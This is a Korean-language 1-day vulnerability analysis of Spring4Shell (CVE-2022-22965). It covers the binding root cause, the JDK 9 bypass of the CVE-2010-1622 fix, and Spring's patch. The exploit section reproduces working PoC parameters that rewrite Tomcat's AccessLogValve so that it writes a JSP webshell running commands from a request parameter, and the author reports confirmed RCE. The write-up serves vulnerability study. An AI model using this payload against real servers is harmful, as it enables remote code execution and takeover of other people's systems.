CVE-2022-22965 (Spring4Shell) 1-day 분석
1. Abstract
- Request 파라미터에
class
를 이용하여classLoader
접근할 수 있고, 이를 통해 Log 생성 설정을 변경시킬 수 있으며 이를 통해 WebShell 생성을 하고 RCE가 가능하다.
2. Vulnerability Analysis
2.1 Affect version
- JDK (Java Development Kit) 9 버전 이상
- Spring Framework : 5.3.17 및 5.2.19 이하 버전 (배포 방식 war)
2.2 Vulnerability Root Cause
HTTP Request를 보내면 Spring Framework 내부에서는 bindRequestParameters()
메소드를 호출한다.
1
2
3
4
5
6
if (bindingResult == null) {
WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
if (binder.getTarget() != null) {
if (!mavContainer.isBindingDisabled(name)) {
this.bindRequestParameters(binder, webRequest);
}
bindRequestParameters()
는 파라미터로 받은 객체의 속성을 가져오기 위해 내부에서 getCachedIntrospectionResults()
메소드를 호출한다.
아래는 getCachedIntrospectionResults()
메소드를 호출하기까지의 콜 스택이다.
Spring4Shell 취약점은 이 getCachedIntrospectionResults()
메소드를 호출할 때 발생한다.
1
2
3
4
5
6
7
private CachedIntrospectionResults getCachedIntrospectionResults() {
if (this.cachedIntrospectionResults == null) {
this.cachedIntrospectionResults = CachedIntrospectionResults.forClass(this.getWrappedClass());
}
return this.cachedIntrospectionResults;
}
아래의 화면을 보면 getCachedIntrospectionResults()
메소드는 wrapping된 객체를 가져오는 데 이 때 class
객체도 같이 포함이 되어 있다. 따라서 HTTP Request를 보내는 것 만으로 class
객체에 접근할 수 있다.
3. Exploit
3.1 Mitigation & Bypass
class
속성을 사용할 수 있지만 CVE-2010-1622 취약점 패치 때문에 바로 classLoader
를 호출할 수 없다. 따라서 JDK 9에서 추가된 module 기능을 이용해서 class.module.classLoader
와 같이 우회하여 classLoader
를 호출해주어야 한다.
CVE-2010-1622
- 해당 취약점은 classLoader를 호출하여 다른 클래스들을 연쇄적으로 호출함으로써 최종적으로 원격 코드 실행(RCE)까지 가능한 취약점이다.
해당 취약점을 방어하기 위해서 PropertyDescriptor
값에서 classLoader와 protectionDomain 문자열이 있는지 검증하는 로직이 추가되었다.
1
2
3
4
5
6
7
8
// This call is slow so we do it once.
PropertyDescriptor[] pds = this.beanInfo.getPropertyDescriptors();
for (PropertyDescriptor pd : pds) {
if (Class.class == beanClass &&
("classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getName()))) {
// Ignore Class.getClassLoader() and getProtectionDomain() methods - nobody needs to bind to those
continue;
}
2010년에 패치되었던 취약점이 Spring4Shell에서 다시 이용된 이유는 JDK 9가 배포가 되면서 module
기능을 같이 배포했기 때문이다.
기존 CVE-2010-1622 에서 익스플로잇하기 위해서 class.classLoader
호출한 것을 JDK 9에서는 class.getModule()
메소드를 이용하여 class.module.classLoader
를 호출함으로서 기존에 패치되었던 로직을 우회할 수 있다.
3.2 Exploit Method
WebShell Create
class
속성을 이용하여 classLoader
를 호출하고 Apache Tomcat의 Log 저장 설정을 변경하기 위해서 최종적으로 getFirst()
메소드를 호출하여 AccessLogValve
의 속성들을 변경시켜주어 webshell 파일을 생성한다.
webshell을 만들기 위해서 변경시켜줄 속성은 다음과 같다.
Attribute | 설명 |
---|---|
fileDateFormat | 액세스 로그 파일 이름에서 사용자 지정 타임스탬프를 허용한다. 형식이 지정된 타임스탬프가 변경될 때 마다 파일이 로테이트 된다. |
directory | 로그 파일이 생성될 directory의 절대 경로 또는 상대 경로가 저장되는 속성, 이 속성이 지정되지 않을 때 기본값은 $CATALINA_BASE의 상대경로로 지정된다. |
pattern | 기록할 요청 및 응답, 또는 표준 형식을 선택하기 위해 다양한 정보 필드를 식별하는 포맷 레이아웃을 지정하는 속성이다. |
prefix | 각 로그 파일 이름의 접두사를 지정하는 속성이다. 기본값은 “access_log” 이다. |
suffix | 각 로그 파일의 이름 끝에 추가되는 접미사를 지정하는 속성이다. |
아래는 AccessLogValve
속성을 변경시키는 Spring4Shell POC 코드의 일부이다.
1
2
3
4
5
6
7
8
9
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
log_pattern
:pattern
속성을 사용해 webshell 내용을 입력한다.log_file_suffix
:suffix
확장자를.jsp
로 변경한다.log_file_dir
:directory
속성을 사용해 log 파일이 저장될 위치를 지정한다.log_file_prefix
:prefix
속성을 사용해 log 파일의 이름을 지정한다.log_file_date_format
:fileDateFormat
을 사용해 파일 로테이트 시간을 해제한다.
속성 값들이 변경되는 것을 확인하고자 POC 코드를 실행하기 전의 AccessLogValve
속성 값들을 확인하였다.
POC 코드를 실행시키고 나서 fileDataFormat
, directory
, pattern
, prefix
, suffix
값이 변경된 것을 확인할 수 있다.
POC 코드를 실행시킨 후 webshell 파일이 정상적으로 생성되는 것을 확인이 되었고 webshell 또한 정상적으로 동작이 되었다.
webshell을 통해 정상적으로 RCE가 동작 되는 것을 확인했다.
4. Patch
Spring 측에서는 Spring core에서 CachedIntrospectionResults
메소드에서 classLoader
의 호출을 막기 위해 classLoader
비교 구문을 강화했다. 해당 로직을 강화함으로써 classLoader
를 이용한 메소드 호출을 방지하였다.
5. Reference
Spring4Shell: Security Analysis of the latest Java RCE ‘0-day’ vulnerabilities in Spring - LunaTrace
Apache Tomcat 9 Configuration Reference (9.0.85) - The Valve Component
Comparing v5.3.17…v5.3.18 · spring-projects/spring-framework
https://tomcat.apache.org/tomcat-9.0-doc/config/context.html